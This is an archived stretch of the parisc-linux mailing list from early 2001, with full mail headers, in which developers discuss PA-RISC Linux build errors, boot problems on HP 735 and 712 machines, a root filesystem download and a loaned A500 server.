> Here is the official message
> IRQ: CPU:0 No handler for IRQ 128 !

Where in the output does that msg normally appear?
Depending on where it appears, I might call it a tulip driver bug.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A new file system archive available
Date: Wed, 28 Feb 2001 13:13:09 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <002901c0a17f$d0933240$0801a8c0@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619919 16216 80.91.229.3 (22 Nov 2014 01:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:59 +0000 (UTC)
To: "parisc" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 05:10:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 118D64A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 05:10:34 -0700 (MST)
Original-Received: from pc5158b (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with SMTP id 5EAD8D15ED
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 13:10:29 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:10419

Hi all,

        If you want a file system ready to use for emacs or lynx..., please
go to http://mkhppa1.esiee.fr/en/download.html (Now, you have the date of
fabrication for free :)

Bye, ESIEE Team





From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] include/asm/semaphore-helper.h
Date: Wed, 28 Feb 2001 09:32:14 -0600 (CST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102280929070.2282-100000@maestro.symsys.com>
References: <002901c0a17f$d0933240$0801a8c0@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619919 16220 80.91.229.3 (22 Nov 2014 01:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:59 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 08:32:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81E8C4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 08:32:15 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA02307
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 09:32:14 -0600
In-Reply-To: <002901c0a17f$d0933240$0801a8c0@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:10420

Howdy,

I can't build the current CVS bits.  I get this message:

	make[1]: *** No rule to make target \
	`/usr/src/parisc/linux/include/asm/semaphore-helper.h', needed by \
	`semaphore.o'.  Stop.                                     

Is this file supposed to be created in the build process?  Or is the file
simply missing from my tree?

Regards,

- Greg






From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] include/asm/semaphore-helper.h
Date: Wed, 28 Feb 2001 16:22:01 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010228162201.D2686@linuxcare.com>
References: <002901c0a17f$d0933240$0801a8c0@esiee.fr> <Pine.LNX.4.21.0102280929070.2282-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619920 16223 80.91.229.3 (22 Nov 2014 01:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:00 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 09:21:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 821244A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 09:21:12 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 661A5B007; Wed, 28 Feb 2001 16:22:01 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102280929070.2282-100000@maestro.symsys.com>; from ingram@symsys.com on Wed, Feb 28, 2001 at 09:32:14AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10421

On Wed, Feb 28, 2001 at 09:32:14AM -0600, Greg Ingram wrote:
> 
> Howdy,
> 
> I can't build the current CVS bits.  I get this message:
> 
> 	make[1]: *** No rule to make target \
> 	`/usr/src/parisc/linux/include/asm/semaphore-helper.h', needed by \
> 	`semaphore.o'.  Stop.                                     
> 
> Is this file supposed to be created in the build process?  Or is the file
> simply missing from my tree?


Have you tried a make distclean; make dep; sequence?

Richard





From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] include/asm/semaphore-helper.h
Date: Wed, 28 Feb 2001 10:41:32 -0600 (CST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102281026300.2449-100000@maestro.symsys.com>
References: <20010228162201.D2686@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619920 16224 80.91.229.3 (22 Nov 2014 01:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:00 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 09:41:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53E404A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 09:41:39 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id KAA02487;
	Wed, 28 Feb 2001 10:41:32 -0600
In-Reply-To: <20010228162201.D2686@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10422

On Wed, 28 Feb 2001, Richard Hirst wrote:

> On Wed, Feb 28, 2001 at 09:32:14AM -0600, Greg Ingram wrote:
> > 
> > Howdy,
> > 
> > I can't build the current CVS bits.  I get this message:
> > 
> > 	make[1]: *** No rule to make target \
> > 	`/usr/src/parisc/linux/include/asm/semaphore-helper.h', needed by \
> > 	`semaphore.o'.  Stop.                                     
> > 
> > Is this file supposed to be created in the build process?  Or is the file
> > simply missing from my tree?
> 
> 
> Have you tried a make distclean; make dep; sequence?

Argh!  No.  I did make palo.  When that didn't work I tried again with
make clean; make palo.  Okay, I've got an image now.

- Greg







From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] web deller
Date: Wed, 28 Feb 2001 20:05:41 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010228200541.B15320@parcelfarce.linux.theplanet.co.uk>
References: <200102281957.MAA01526@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619920 16231 80.91.229.3 (22 Nov 2014 01:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:00 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 13:06:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 559994A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 13:06:00 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA01563
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Feb 2001 13:01:08 -0700
Original-Received: (qmail 25872 invoked by uid 15267); 28 Feb 2001 20:05:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25853 invoked from network); 28 Feb 2001 20:05:42 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2001 20:05:42 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14YCqz-0007Ls-00; Wed, 28 Feb 2001 20:05:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102281957.MAA01526@puffin.external.hp.com>; from deller@puffin.external.hp.com on Wed, Feb 28, 2001 at 12:57:53PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10423

On Wed, Feb 28, 2001 at 12:57:53PM -0700, Helge Deller wrote:
> <p><b>CURRENT TO DO LIST</b></p>
> -<p><b>January 4, 2001</b></p>
> +<p><b>February 28, 2001</b></p>
> <p>Kernel</p>
> <ul>
> <li> rewrite semaphores -- both read/write and ordinary (Matthew)

the semaphores are already rewritten, but i refuse to touch the new website.

i thought this page was going to get removed anyway?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] web deller
Date: Wed, 28 Feb 2001 12:20:07 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <200102282020.MAA26653@milano.cup.hp.com>
References: <20010228200541.B15320@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619921 16233 80.91.229.3 (22 Nov 2014 01:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
	parisc-linux-cvs@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 13:27:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BD974A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 13:27:24 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA01635
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Feb 2001 13:22:32 -0700
Original-Received: (qmail 31464 invoked by uid 15267); 28 Feb 2001 20:26:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31420 invoked from network); 28 Feb 2001 20:26:28 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2001 20:26:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id AEEB01603; Wed, 28 Feb 2001 12:17:06 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA26653;
	Wed, 28 Feb 2001 12:20:12 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 28 Feb 2001 20:05:41 PST."
             <20010228200541.B15320@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10424

Matthew Wilcox wrote:
> i thought this page was going to get removed anyway?

Not removed. Just the TODO list would go away as stuff gets
entered in the bug tracking system (bugs.parisc-linux.org for
those that haven't looked yet)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Moore" <cmoore@cancun.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another 735 hums to life
Date: Wed, 28 Feb 2001 14:34:59 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <1010228143459.ZM5008@cancun.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619921 16243 80.91.229.3 (22 Nov 2014 01:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 28 15:25:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9ADC4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Feb 2001 15:25:35 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01996
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Feb 2001 15:20:43 -0700
Original-Received: (qmail 13280 invoked by uid 15267); 28 Feb 2001 22:24:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13265 invoked from network); 28 Feb 2001 22:24:45 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2001 22:24:45 -0000
Original-Received: from cancun.rose.hp.com (cancun.rose.hp.com [15.43.234.191])
	by atlrel1.hp.com (Postfix) with ESMTP id EC0EF973
	for <parisc-linux@thepuffingroup.com>; Wed, 28 Feb 2001 17:24:33 -0500 (EST)
Original-Received: (from cmoore@localhost)
	by cancun.rose.hp.com (8.9.3 (PHNE_21697)/8.9.3 SMKit7.02) id OAA05010
	for parisc-linux@thepuffingroup.com; Wed, 28 Feb 2001 14:34:59 -0800 (PST)
X-Mailer: Z-Mail (5.0.0 30July97)
Xref: news.gmane.org gmane.linux.ports.parisc:10425

After a lot of struggling I finally got my 735/99 up and running.
After even more struggling I got it to boot standalone off its
own internal SCSI disk and make it all the way to runlevel 2.

I am still having a few problems though.  I tried using dpkg
to install something and the process just seemed to hang.  I
saw the same thing when trying to compile something - don't
remember what.

So I guess my question is, is this to be expected?  Should I be
happy that I even got it to boot?  Or should I expect it to be
a fully functioning system?

While I'm at it, let me introduce myself to the list too.  I
currently work at HP doing support for the hpux kernel
(in WTEC, if that means anything to you).  Before this I was the
owner of the device drivers for SCSI tapes for hpux.  I'm
still new to Linux and just getting used to it, but hoping that
I'll be able to contribute to the development in the future.

Regards,

Chris Moore




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "ninux" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] R: [parisc-linux-cvs] gdb amodra
Date: Thu, 1 Mar 2001 09:52:14 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <002d01c0a22c$ea3e8340$619a953e@rinux>
References: <200103010602.XAA03677@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619921 16267 80.91.229.3 (22 Nov 2014 01:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:01 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 01:52:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA65E4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Mar 2001 01:52:09 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA04127
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Mar 2001 01:47:16 -0700
Original-Received: (qmail 5050 invoked by uid 15267); 1 Mar 2001 08:52:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5043 invoked from network); 1 Mar 2001 08:52:05 -0000
Original-Received: from smtp.technorail.com (HELO smtp.aruba.it) (195.103.144.19)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2001 08:52:05 -0000
Original-Received: from rinux ([62.149.154.97]) by smtp.aruba.it with Microsoft SMTPSVC(5.0.2195.1600);
	 Thu, 1 Mar 2001 10:04:09 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-OriginalArrivalTime: 01 Mar 2001 09:04:09.0413 (UTC) FILETIME=[938E0F50:01C0A22E]
Xref: news.gmane.org gmane.linux.ports.parisc:10426

Hi all
were can I download /arch directory for my 712/60 ?
and were can I download a working version of linux thath work with video and
keyboard!
regards rino from Italy





From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Another 735 hums to life
Date: Thu, 1 Mar 2001 09:54:35 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010301095435.G2686@linuxcare.com>
References: <1010228143459.ZM5008@cancun.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619922 16269 80.91.229.3 (22 Nov 2014 01:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Chris Moore <cmoore@cancun.rose.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 02:54:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3C934A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Mar 2001 02:54:15 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA04355
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Mar 2001 02:49:23 -0700
Original-Received: (qmail 25623 invoked by uid 15267); 1 Mar 2001 09:54:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25610 invoked from network); 1 Mar 2001 09:54:13 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2001 09:54:13 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1886EB007; Thu,  1 Mar 2001 09:54:35 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <1010228143459.ZM5008@cancun.rose.hp.com>; from cmoore@cancun.rose.hp.com on Wed, Feb 28, 2001 at 02:34:59PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:10427

On Wed, Feb 28, 2001 at 02:34:59PM -0800, Chris Moore wrote:
> After a lot of struggling I finally got my 735/99 up and running.
> After even more struggling I got it to boot standalone off its
> own internal SCSI disk and make it all the way to runlevel 2.
> 
> I am still having a few problems though.  I tried using dpkg
> to install something and the process just seemed to hang.  I
> saw the same thing when trying to compile something - don't
> remember what.

Does tar hang also?  If so it's probably the pthreads problem
that is affecting older machines (my 715/75, for example).  In
theory a new glibc should fix this, but when I tried things seemed
to get even worse - wouldn't even boot any more.  Havn't tried
for a couple of weeks though.

Richard





From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ESIEE Puffin Group <puffin@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Puffin, we have a problem, here!
Date: Thu, 01 Mar 2001 15:34:39 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3A9E5DFF.68C54E30@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619922 16271 80.91.229.3 (22 Nov 2014 01:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 07:34:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 740A84A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Mar 2001 07:34:42 -0700 (MST)
Original-Received: from esiee.fr (gemini11.esiee.fr [147.215.1.130])
	by mail.esiee.fr (Postfix) with ESMTP id F2AFDD15EE
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Mar 2001 15:34:39 +0100 (CET)
Original-Sender: puffin@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; HP-UX B.10.20 9000/778)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10428

Hi all,

	We write this mail to tell you that we MUST give back our A500 to the
European Department for HP resources for exhibition.

	In fact, this server was only for the Linux Expo Paris but we told them
that it was critical for th development of PA/Linux [specially for SMP
:^) ]. So they gave us one month more as it is said in the mail we
received today. Here is the French version:

je viens d'avoir l'accord de l'europe tu peux garder le serie A500
un mois de plus date de retour obligatoire le 5 mars !

Translation:

I just get the agreement from European staff. You can keep the A500 one
month more. Return date: 5 march!


	As you can see, we have a problem, here! If someone could help us in
our fight in order to keep this box, please do it...

ESIEE Team
Losing our baby :(




From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Another 735 hums to life
Date: Thu, 1 Mar 2001 09:17:53 -0600 (CST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103010907390.7180-100000@maestro.symsys.com>
References: <20010301095435.G2686@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619922 16276 80.91.229.3 (22 Nov 2014 01:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:02 +0000 (UTC)
Cc: Chris Moore <cmoore@cancun.rose.hp.com>,
	parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  1 08:20:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A03E4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Mar 2001 08:20:17 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08547
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Mar 2001 08:15:24 -0700
Original-Received: (qmail 21827 invoked by uid 15267); 1 Mar 2001 15:19:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21788 invoked from network); 1 Mar 2001 15:19:24 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2001 15:19:24 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA07282;
	Thu, 1 Mar 2001 09:17:53 -0600
In-Reply-To: <20010301095435.G2686@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10429

Chris, et al.,

On Thu, 1 Mar 2001, Richard Hirst wrote:

> On Wed, Feb 28, 2001 at 02:34:59PM -0800, Chris Moore wrote:
> > After a lot of struggling I finally got my 735/99 up and running.
> > After even more struggling I got it to boot standalone off its
> > own internal SCSI disk and make it all the way to runlevel 2.
> > 
> > I am still having a few problems though.  I tried using dpkg
> > to install something and the process just seemed to hang.  I
> > saw the same thing when trying to compile something - don't
> > remember what.
> 
> Does tar hang also?  If so it's probably the pthreads problem
> that is affecting older machines (my 715/75, for example).  In
> theory a new glibc should fix this, but when I tried things seemed
> to get even worse - wouldn't even boot any more.  Havn't tried
> for a couple of weeks though.

I'm currently running the bins posted by our French amis and tar works.  
The more program still has the goofy stack (argv[-1]?) bomb and ncsd still
doesn't work.  I'm not familiar with nscd but it prevents me from using
adduser so I had to do all that the _real_ old fashioned way.  I used the
55 meg root filesystem and it had a root password set.  I had to boot the
old NFS-root fs so I could edit /etc/passwd on the new fs.  On the whole
it's a big improvement.  I can use the compiler now.  Next I'm going to
see if the C100 can compile its own kernel.

The ESIEE download site is:

	http://mkhppa1.esiee.fr/en/download.html

Regards,

- Greg





From - Thu Nov 08 21:16:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
